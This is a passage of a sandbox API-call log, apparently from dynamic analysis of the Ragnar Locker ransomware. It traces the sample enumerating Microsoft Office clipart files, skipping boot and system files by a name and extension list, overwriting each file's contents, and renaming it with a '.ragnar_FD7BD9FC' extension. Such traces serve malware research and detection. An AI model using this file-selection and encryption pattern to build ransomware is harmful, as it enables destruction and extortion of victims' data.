[0080.577] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.577] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.577] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.577] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.577] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.577] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.577] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x20 [0080.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.577] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1044) returned 1 [0080.577] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x40b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.577] GetProcessHeap () returned 0x580000 [0080.577] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.577] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.579] VirtualAlloc (lpAddress=0x0, dwSize=0x414, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.579] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.579] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.579] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x414, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x414, lpOverlapped=0x0) returned 1 [0080.579] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.579] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x414, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.579] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x414, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x414, lpOverlapped=0x0) returned 1 [0080.579] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x414, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.579] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.580] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.580] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.580] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.580] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.580] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.580] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.580] GetProcessHeap () returned 0x580000 [0080.580] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.580] CloseHandle (hObject=0xf4) returned 1 [0080.580] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" [0080.580] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.ragnar_FD7BD9FC" [0080.580] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.581] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5295200, ftCreationTime.dwHighDateTime=0x1bd4b23, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5295200, ftLastWriteTime.dwHighDateTime=0x1bd4b23, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00136_.WMF", cAlternateFileName="")) returned 1 [0080.581] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.581] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS00136_.WMF" | out: lpString1="BS00136_.WMF") returned="BS00136_.WMF" [0080.581] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned=".WMF" [0080.581] lstrcmpiW (lpString1="BS00136_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.581] lstrcmpiW (lpString1="BS00136_.WMF", lpString2="autorun.inf") returned 1 [0080.581] lstrcmpiW (lpString1="BS00136_.WMF", lpString2="boot.ini") returned 1 [0080.581] lstrcmpiW (lpString1="BS00136_.WMF", lpString2="bootfont.bin") returned 1 [0080.581] lstrcmpiW (lpString1="BS00136_.WMF", lpString2="bootsect.bak") returned 1 [0080.581] lstrcmpiW (lpString1="BS00136_.WMF", lpString2="bootmgr") returned 1 [0080.581] lstrcmpiW (lpString1="BS00136_.WMF", lpString2="bootmgr.efi") returned 1 [0080.581] lstrcmpiW (lpString1="BS00136_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.581] lstrcmpiW (lpString1="BS00136_.WMF", lpString2="desktop.ini") returned -1 [0080.581] lstrcmpiW (lpString1="BS00136_.WMF", lpString2="iconcache.db") returned -1 [0080.581] lstrcmpiW (lpString1="BS00136_.WMF", lpString2="ntldr") returned -1 [0080.581] lstrcmpiW (lpString1="BS00136_.WMF", lpString2="ntuser.dat") returned -1 [0080.581] lstrcmpiW (lpString1="BS00136_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.581] lstrcmpiW (lpString1="BS00136_.WMF", lpString2="ntuser.ini") returned -1 [0080.581] lstrcmpiW (lpString1="BS00136_.WMF", lpString2="thumbs.db") returned -1 [0080.581] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.581] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.581] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.581] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.581] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.581] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.581] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x20 [0080.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.582] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2166) returned 1 [0080.582] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x86d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.582] GetProcessHeap () returned 0x580000 [0080.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.582] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.584] VirtualAlloc (lpAddress=0x0, dwSize=0x876, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.584] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.584] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.584] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x876, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x876, lpOverlapped=0x0) returned 1 [0080.584] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.584] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x876, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.584] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x876, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x876, lpOverlapped=0x0) returned 1 [0080.584] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x876, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.584] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.585] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x876, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.585] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.585] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.585] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.585] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.585] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.585] GetProcessHeap () returned 0x580000 [0080.585] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.585] CloseHandle (hObject=0xf4) returned 1 [0080.585] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" [0080.585] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.ragnar_FD7BD9FC" [0080.585] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.586] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99a2a00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99a2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00145_.WMF", cAlternateFileName="")) returned 1 [0080.586] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.586] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS00145_.WMF" | out: lpString1="BS00145_.WMF") returned="BS00145_.WMF" [0080.586] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned=".WMF" [0080.586] lstrcmpiW (lpString1="BS00145_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.586] lstrcmpiW (lpString1="BS00145_.WMF", lpString2="autorun.inf") returned 1 [0080.586] lstrcmpiW (lpString1="BS00145_.WMF", lpString2="boot.ini") returned 1 [0080.586] lstrcmpiW (lpString1="BS00145_.WMF", lpString2="bootfont.bin") returned 1 [0080.586] lstrcmpiW (lpString1="BS00145_.WMF", lpString2="bootsect.bak") returned 1 [0080.586] lstrcmpiW (lpString1="BS00145_.WMF", lpString2="bootmgr") returned 1 [0080.586] lstrcmpiW (lpString1="BS00145_.WMF", lpString2="bootmgr.efi") returned 1 [0080.586] lstrcmpiW (lpString1="BS00145_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.586] lstrcmpiW (lpString1="BS00145_.WMF", lpString2="desktop.ini") returned -1 [0080.586] lstrcmpiW (lpString1="BS00145_.WMF", lpString2="iconcache.db") returned -1 [0080.586] lstrcmpiW (lpString1="BS00145_.WMF", lpString2="ntldr") returned -1 [0080.586] lstrcmpiW (lpString1="BS00145_.WMF", lpString2="ntuser.dat") returned -1 [0080.586] lstrcmpiW (lpString1="BS00145_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.586] lstrcmpiW (lpString1="BS00145_.WMF", lpString2="ntuser.ini") returned -1 [0080.586] lstrcmpiW (lpString1="BS00145_.WMF", lpString2="thumbs.db") returned -1 [0080.586] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.586] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.586] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.586] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.586] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.586] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.586] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x20 [0080.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.587] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1712) returned 1 [0080.588] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.588] GetProcessHeap () returned 0x580000 [0080.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.588] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.591] VirtualAlloc (lpAddress=0x0, dwSize=0x6b0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.591] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.591] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.591] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6b0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6b0, lpOverlapped=0x0) returned 1 [0080.591] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.591] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6b0, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.591] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6b0, lpOverlapped=0x0) returned 1 [0080.591] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6b0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.591] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.591] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.591] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.592] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.592] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.592] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.592] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.592] GetProcessHeap () returned 0x580000 [0080.592] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.592] CloseHandle (hObject=0xf4) returned 1 [0080.592] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" [0080.592] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.ragnar_FD7BD9FC" [0080.592] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.593] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ca47100, ftCreationTime.dwHighDateTime=0x1bd4af0, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ca47100, ftLastWriteTime.dwHighDateTime=0x1bd4af0, nFileSizeHigh=0x0, nFileSizeLow=0x20ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00174_.WMF", cAlternateFileName="")) returned 1 [0080.593] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.593] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS00174_.WMF" | out: lpString1="BS00174_.WMF") returned="BS00174_.WMF" [0080.593] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned=".WMF" [0080.593] lstrcmpiW (lpString1="BS00174_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.593] lstrcmpiW (lpString1="BS00174_.WMF", lpString2="autorun.inf") returned 1 [0080.593] lstrcmpiW (lpString1="BS00174_.WMF", lpString2="boot.ini") returned 1 [0080.593] lstrcmpiW (lpString1="BS00174_.WMF", lpString2="bootfont.bin") returned 1 [0080.593] lstrcmpiW (lpString1="BS00174_.WMF", lpString2="bootsect.bak") returned 1 [0080.593] lstrcmpiW (lpString1="BS00174_.WMF", lpString2="bootmgr") returned 1 [0080.593] lstrcmpiW (lpString1="BS00174_.WMF", lpString2="bootmgr.efi") returned 1 [0080.593] lstrcmpiW (lpString1="BS00174_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.593] lstrcmpiW (lpString1="BS00174_.WMF", lpString2="desktop.ini") returned -1 [0080.593] lstrcmpiW (lpString1="BS00174_.WMF", lpString2="iconcache.db") returned -1 [0080.593] lstrcmpiW (lpString1="BS00174_.WMF", lpString2="ntldr") returned -1 [0080.593] lstrcmpiW (lpString1="BS00174_.WMF", lpString2="ntuser.dat") returned -1 [0080.593] lstrcmpiW (lpString1="BS00174_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.593] lstrcmpiW (lpString1="BS00174_.WMF", lpString2="ntuser.ini") returned -1 [0080.593] lstrcmpiW (lpString1="BS00174_.WMF", lpString2="thumbs.db") returned -1 [0080.593] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.593] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.593] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.593] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.593] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.593] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.593] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x20 [0080.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft 